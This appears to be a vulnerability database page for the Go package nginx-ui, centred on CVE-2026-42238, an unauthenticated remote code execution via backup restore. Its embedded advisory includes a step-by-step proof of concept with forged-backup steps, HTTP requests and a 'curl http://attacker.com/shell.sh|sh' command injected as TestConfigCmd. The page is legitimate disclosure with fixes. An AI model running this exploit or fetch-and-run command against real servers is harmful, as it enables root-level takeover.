Vulnerabilities in pkg:golang/github.com/0xJacky/nginx-ui
PACKAGECVE-2026-42238 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Github.com/0xJacky/nginx ui libraries in the Go ecosystem. The issue involves nginx-ui is vulnerable to unauthenticated remote code execution via backup restore. Remediation is available by upgrading affected packages to version 2.3.8.
pkg:golang/github.com/0xJacky/nginx-ui
Vulnerability advisories affecting package pkg:golang/github.com/0xJacky/nginx-ui. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-4pvg-prr3-9cxr | CVE-2026-42238 | CRITICAL | Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore |
| GHSA-q4w7-56hr-83rm | CVE-2026-42223 | MODERATE | Nginx-UI Settings API Exposes Protected Secrets |
| GHSA-mxqh-q9h6-v8pq | CVE-2026-42222 | HIGH | Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover |
| GHSA-5hf2-vhj6-gj9m | CVE-2026-33030 | HIGH | nginx-UI has Unencrypted Storage of DNS API Tokens and ACME Private Keys |
CVE-2026-42238 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-42238
To remediate this vulnerability, upgrade all affected Github.com/0xJacky/nginx ui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/0xJacky/nginx-ui to 2.3.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/0xJacky/nginx-ui
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-42238, inspect your project dependencies for Github.com/0xJacky/nginx ui:
inspect dependencies for github.com/0xJacky/nginx-ui
Analyze the terminal output to locate any version of Github.com/0xJacky/nginx ui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.8), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Github.com/0xJacky/nginx ui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42238 Affected Github.com/0xJacky/nginx ui Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/0xJacky/nginx-ui
|
Go |
< 2.3.8
|
2.3.8
|
References
Frequently Asked Questions
What is CVE-2026-42238?
Which Github.com/0xJacky/nginx ui versions are affected?
What version fixes CVE-2026-42238?
Is github.com/0xJacky/nginx-ui affected?
What is the CVSS score of CVE-2026-42238?
What CWE is associated with CVE-2026-42238?
How can I check Go dependencies for CVE-2026-42238?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4pvg-prr3-9cxr",
"modified" : "2026-05-06T17:03:44Z",
"published" : "2026-05-06T17:03:43Z",
"aliases" : [ "CVE-2026-42238" ],
"summary" : "Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore",
"details" : "**Product:** nginx-ui\n**Repository:** `0xJacky/nginx-ui` (branch: `dev`)\n**Vulnerability Class:** Authentication Bypass → Arbitrary File Write → OS Command Injection\n**Affected Component:** `POST /api/restore`\n\n---\n\n## 1. Vulnerability Summary\n\nnginx-ui exposes a backup restore endpoint (`POST /api/restore`) that is **completely unauthenticated** during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (`app.ini`) and SQLite database. Because the attacker controls the restored `app.ini`, they can inject an arbitrary OS command into the `TestConfigCmd` setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically `root` in Docker deployments.\n\nThe 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).\n\n---\n\n## 2. Root Cause Analysis\n\n### 2.1 The Restore Route Is Registered Without Authentication\n\n`backup.InitRouter` is called on the `root` group, which carries only `IPWhiteList()` middleware — no `AuthRequired()`: [1](#2-0) \n\nThe route definition: [2](#2-1) \n\n### 2.2 The `authIfInstalled` Guard Has a Time-Bounded Bypass\n\nThe only authentication guard on the restore route is `authIfInstalled`: [3](#2-2) \n\nIt calls `AuthRequired()` only when `InstallLockStatus() || IsInstallTimeoutExceeded()` is true. Both conditions are false on a fresh install within the first 10 minutes: [4](#2-3) \n\n- `InstallLockStatus()` returns `false` because `JwtSecret` is `\"\"` on a fresh install and `SkipInstallation` defaults to `false`.\n- `IsInstallTimeoutExceeded()` returns `false` for the first 10 minutes after `startupTime` is set in `init()`.\n\nWhen both are `false`, `authIfInstalled` calls `ctx.Next()` with **zero authentication**.\n\n### 2.3 The `EncryptedForm` Middleware Is Not a Security Barrier\n\nThe `EncryptedForm()` middleware between `authIfInstalled` and `RestoreBackup` is **optional** — it only activates if the request includes an `encrypted_params` field. If that field is absent, it calls `c.Next()` immediately: [5](#2-4) \n\nAn attacker sends a plain `multipart/form-data` request without `encrypted_params` and the middleware is a no-op.\n\n### 2.4 The Attacker Controls the AES Key Used to Verify the Backup\n\nThe restore handler accepts the AES key and IV directly from the attacker via the `security_token` form field: [6](#2-5) \n\nThe manifest integrity check derives its HMAC signing key **from the attacker-supplied AES key**: [7](#2-6) \n\nSince the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.\n\n### 2.5 Restore Overwrites `app.ini` and the SQLite Database Unconditionally\n\nWhen `restore_nginx_ui=true`, `restoreNginxUIConfig` directly copies files from the backup onto disk with no content validation: [8](#2-7) \n\n### 2.6 Restored `TestConfigCmd` Is Executed as a Shell Command\n\nAfter restore, `risefront.Restart()` is called, reloading `app.ini`: [9](#2-8) \n\nOn the next call to `TestConfig()`, the value of `TestConfigCmd` from the restored `app.ini` is passed verbatim to `/bin/sh -c`: [10](#2-9) [11](#2-10) \n\n---\n\n## 3. Attack Prerequisites\n\n| Requirement | Notes |\n|---|---|\n| Network access to nginx-ui port | Default: 9000/tcp |\n| Target is a fresh install | `JwtSecret` is empty in `app.ini` |\n| Within 10 minutes of last process start | Window resets on every restart |\n| IP not blocked by `IPWhiteList` | Default config has no IP whitelist |\n\nThe 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets `startupTime` via `init()`, reopening the window.\n\n---\n\n## 4. Step-by-Step Proof of Concept\n\n### Step 1 — Confirm the installation window is open\n\n```http\nGET /api/install HTTP/1.1\nHost: target:9000\n```\n\nExpected response confirming vulnerability:\n```json\n{\"lock\": false, \"timeout\": false}\n```\n\n### Step 2 — Craft the malicious backup\n\nThe backup format (derived from `internal/backup/backup.go`) is:\n\n```\nbackup-TIMESTAMP.zip ← outer ZIP (unencrypted)\n├── manifest.json ← JSON manifest\n├── manifest.sig ← HMAC-SHA256 of manifest.json\n├── nginx-ui.zip ← AES-CBC encrypted inner ZIP\n└── nginx.zip ← AES-CBC encrypted inner ZIP\n```\n\n**2a.** Generate a random 32-byte AES key and 16-byte IV.\n\n**2b.** Create the malicious `app.ini` to place inside `nginx-ui.zip`:\n\n```ini\n[app]\nJwtSecret = attacker_chosen_jwt_secret_32chars\n\n[node]\nSecret = attacker_chosen_node_secret\n\n[nginx]\nTestConfigCmd = curl http://attacker.com/shell.sh|sh\n```\n\n**2c.** Create a SQLite database (`nginx-ui.db`) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).\n\n**2d.** Package `app.ini` and `nginx-ui.db` into `nginx-ui.zip`. Package an empty or minimal `nginx.zip`.\n\n**2e.** Encrypt both ZIPs with AES-256-CBC using your key and IV.\n\n**2f.** Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build `manifest.json`:\n\n```json\n{\n \"schema\": 1,\n \"created_at\": \"20260421-120000\",\n \"version\": \"2.0.0\",\n \"files\": [\n {\"name\": \"nginx-ui.zip\", \"sha256\": \"<hash>\", \"size\": <size>},\n {\"name\": \"nginx.zip\", \"sha256\": \"<hash>\", \"size\": <size>}\n ]\n}\n```\n\n**2g.** Compute the HMAC-SHA256 signature of `manifest.json` using the signing key derived as:\n\n```python\nimport hashlib, hmac\ncontext = b\"nginx-ui-backup-signing-v1:\"\nsigning_key = hashlib.sha256(context + aes_key).digest()\nsig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()\n```\n\n**2h.** Assemble the outer ZIP containing `manifest.json`, `manifest.sig`, `nginx-ui.zip`, `nginx.zip`.\n\n### Step 3 — Upload the malicious backup (no authentication required)\n\n```http\nPOST /api/restore HTTP/1.1\nHost: target:9000\nContent-Type: multipart/form-data; boundary=----Boundary\n\n------Boundary\nContent-Disposition: form-data; name=\"backup_file\"; filename=\"evil.zip\"\nContent-Type: application/zip\n\n[crafted backup bytes]\n------Boundary\nContent-Disposition: form-data; name=\"security_token\"\n\n<base64(aes_key)>:<base64(aes_iv)>\n------Boundary\nContent-Disposition: form-data; name=\"restore_nginx_ui\"\n\ntrue\n------Boundary--\n```\n\nExpected response (HTTP 200):\n```json\n{\"nginx_ui_restored\": true, \"nginx_restored\": false, \"hash_match\": true}\n```\n\nnginx-ui calls `risefront.Restart()` 2 seconds later, loading the attacker's `app.ini`.\n\n### Step 4 — Trigger RCE using the restored node secret\n\nAfter the restart (wait ~3 seconds):\n\n```http\nPOST /api/nginx/test HTTP/1.1\nHost: target:9000\nX-Node-Secret: attacker_chosen_node_secret\n```\n\nnginx-ui executes:\n```sh\n/bin/sh -c \"curl http://attacker.com/shell.sh|sh\"\n```\n\nThe attacker now has a reverse shell running as the nginx-ui process user (typically `root` in Docker).\n\n---\n\n## 5. Impact\n\n- **Confidentiality:** Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in `app.ini`.\n- **Integrity:** Arbitrary modification of all nginx configurations and nginx-ui application state.\n- **Availability:** Complete denial of service; nginx and nginx-ui can be stopped or misconfigured.\n- **Scope:** OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.\n\n---\n\n## 6. Affected Versions\n\nAll versions of nginx-ui where `authIfInstalled` is used as the sole authentication guard on `POST /api/restore`. The vulnerability is present in the current `dev` branch.\n\n---\n\n## 7. Recommended Fix\n\n**Primary fix** — Require authentication unconditionally on the restore endpoint. The \"allow restore during initial setup\" design rationale does not justify unauthenticated access to a file-write primitive:\n\n```go\n// api/backup/router.go\nfunc InitRouter(r *gin.RouterGroup) {\n r.GET(\"/backup\", middleware.AuthRequired(), CreateBackup)\n r.POST(\"/restore\", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\nIf restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.\n\n**Secondary fix** — Validate the content of restored `app.ini` before writing it to disk. Specifically, `TestConfigCmd`, `ReloadCmd`, and `RestartCmd` should be rejected or stripped from any externally-supplied backup.\n\n---\n\n## 8. Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-21 | Vulnerability identified via source code review |\n| — | Vendor notification (pending) |\n| — | CVE assignment (pending) |\n\n### Citations\n\n**File:** router/routers.go (L61-70)\n```go\n\troot := r.Group(\"/api\", middleware.IPWhiteList())\n\t{\n\t\tpublic.InitRouter(root)\n\t\tcrypto.InitPublicRouter(root)\n\t\tuser.InitAuthRouter(root)\n\t\tlicense.InitRouter(root)\n\n\t\tsystem.InitPublicRouter(root)\n\t\tsystem.InitSelfCheckRouter(root)\n\t\tbackup.InitRouter(root)\n```\n\n**File:** api/backup/router.go (L9-16)\n```go\n// authIfInstalled requires auth if system is installed\nfunc authIfInstalled(ctx *gin.Context) {\n\tif system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {\n\t\tmiddleware.AuthRequired()(ctx)\n\t} else {\n\t\tctx.Next()\n\t}\n}\n```\n\n**File:** api/backup/router.go (L18-25)\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\t// Backup always requires authentication (contains sensitive data)\n\tr.GET(\"/backup\", middleware.AuthRequired(), CreateBackup)\n\n\t// Restore requires auth only after installation\n\t// This allows restoring backup during initial setup\n\tr.POST(\"/restore\", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\n**File:** api/system/install.go (L27-34)\n```go\nfunc InstallLockStatus() bool {\n\treturn settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != \"\"\n}\n\n// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded\nfunc IsInstallTimeoutExceeded() bool {\n\treturn time.Since(startupTime) > 10*time.Minute\n}\n```\n\n**File:** internal/middleware/encrypted_params.go (L69-75)\n```go\n\t\t// Check if encrypted_params field exists\n\t\tencryptedParams := c.Request.FormValue(\"encrypted_params\")\n\t\tif encryptedParams == \"\" {\n\t\t\t// No encryption, continue normally\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n```\n\n**File:** api/backup/restore.go (L35-70)\n```go\n\tsecurityToken := c.PostForm(\"security_token\") // Get concatenated key and IV\n\t// Get backup file\n\tbackupFile, err := c.FormFile(\"backup_file\")\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))\n\t\treturn\n\t}\n\n\t// Validate security token\n\tif securityToken == \"\" {\n\t\tcosy.ErrHandler(c, backup.ErrInvalidSecurityToken)\n\t\treturn\n\t}\n\n\t// Split security token to get Key and IV\n\tparts := strings.Split(securityToken, \":\")\n\tif len(parts) != 2 {\n\t\tcosy.ErrHandler(c, backup.ErrInvalidSecurityToken)\n\t\treturn\n\t}\n\n\taesKey := parts[0]\n\taesIv := parts[1]\n\n\t// Decode Key and IV from base64\n\tkey, err := base64.StdEncoding.DecodeString(aesKey)\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))\n\t\treturn\n\t}\n\n\tiv, err := base64.StdEncoding.DecodeString(aesIv)\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))\n\t\treturn\n\t}\n```\n\n**File:** api/backup/restore.go (L126-132)\n```go\n\tif restoreNginxUI {\n\t\tgo func() {\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\t// gracefully restart\n\t\t\trisefront.Restart()\n\t\t}()\n\t}\n```\n\n**File:** internal/backup/manifest.go (L156-163)\n```go\nfunc deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {\n\tif len(aesKey) == 0 {\n\t\treturn nil, ErrInvalidAESKey\n\t}\n\n\tsum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))\n\treturn sum[:], nil\n}\n```\n\n**File:** internal/backup/restore.go (L458-484)\n```go\n// restoreNginxUIConfig restores nginx-ui configuration files\nfunc restoreNginxUIConfig(nginxUIBackupDir string) error {\n\t// Get config directory\n\tconfigDir := filepath.Dir(cosysettings.ConfPath)\n\tif configDir == \"\" {\n\t\treturn ErrConfigPathEmpty\n\t}\n\n\t// Restore app.ini to the configured location\n\tsrcConfigPath := filepath.Join(nginxUIBackupDir, \"app.ini\")\n\tif err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {\n\t\treturn err\n\t}\n\n\t// Restore database file if exists\n\tdbName := settings.DatabaseSettings.GetName()\n\tsrcDBPath := filepath.Join(nginxUIBackupDir, dbName+\".db\")\n\tdestDBPath := filepath.Join(configDir, dbName+\".db\")\n\n\t// Only attempt to copy if database file exists in backup\n\tif _, err := os.Stat(srcDBPath); err == nil {\n\t\tif err := copyFile(srcDBPath, destDBPath); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n```\n\n**File:** internal/nginx/nginx.go (L25-36)\n```go\nfunc TestConfig() (stdOut string, stdErr error) {\n\tmutex.Lock()\n\tdefer mutex.Unlock()\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\treturn execShell(settings.NginxSettings.TestConfigCmd)\n\t}\n\tsbin := GetSbinPath()\n\tif sbin == \"\" {\n\t\treturn execCommand(\"nginx\", \"-t\")\n\t}\n\treturn execCommand(sbin, \"-t\")\n}\n```\n\n**File:** internal/nginx/exec.go (L12-28)\n```go\nfunc execShell(cmd string) (stdOut string, stdErr error) {\n\tvar execCmd *exec.Cmd\n\n\tif runtime.GOOS == \"windows\" {\n\t\texecCmd = exec.Command(\"cmd\", \"/c\", cmd)\n\t} else {\n\t\texecCmd = exec.Command(\"/bin/sh\", \"-c\", cmd)\n\t}\n\n\texecCmd.Dir = GetNginxExeDir()\n\tbytes, err := execCmd.CombinedOutput()\n\tstdOut = string(bytes)\n\tif err != nil {\n\t\tstdErr = err\n\t}\n\treturn\n}\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/0xJacky/nginx-ui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.3.8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-4pvg-prr3-9cxr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42238"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/0xJacky/nginx-ui"
}, {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T17:03:43Z",
"nvd_published_at" : "2026-05-04T21:16:32Z"
}
}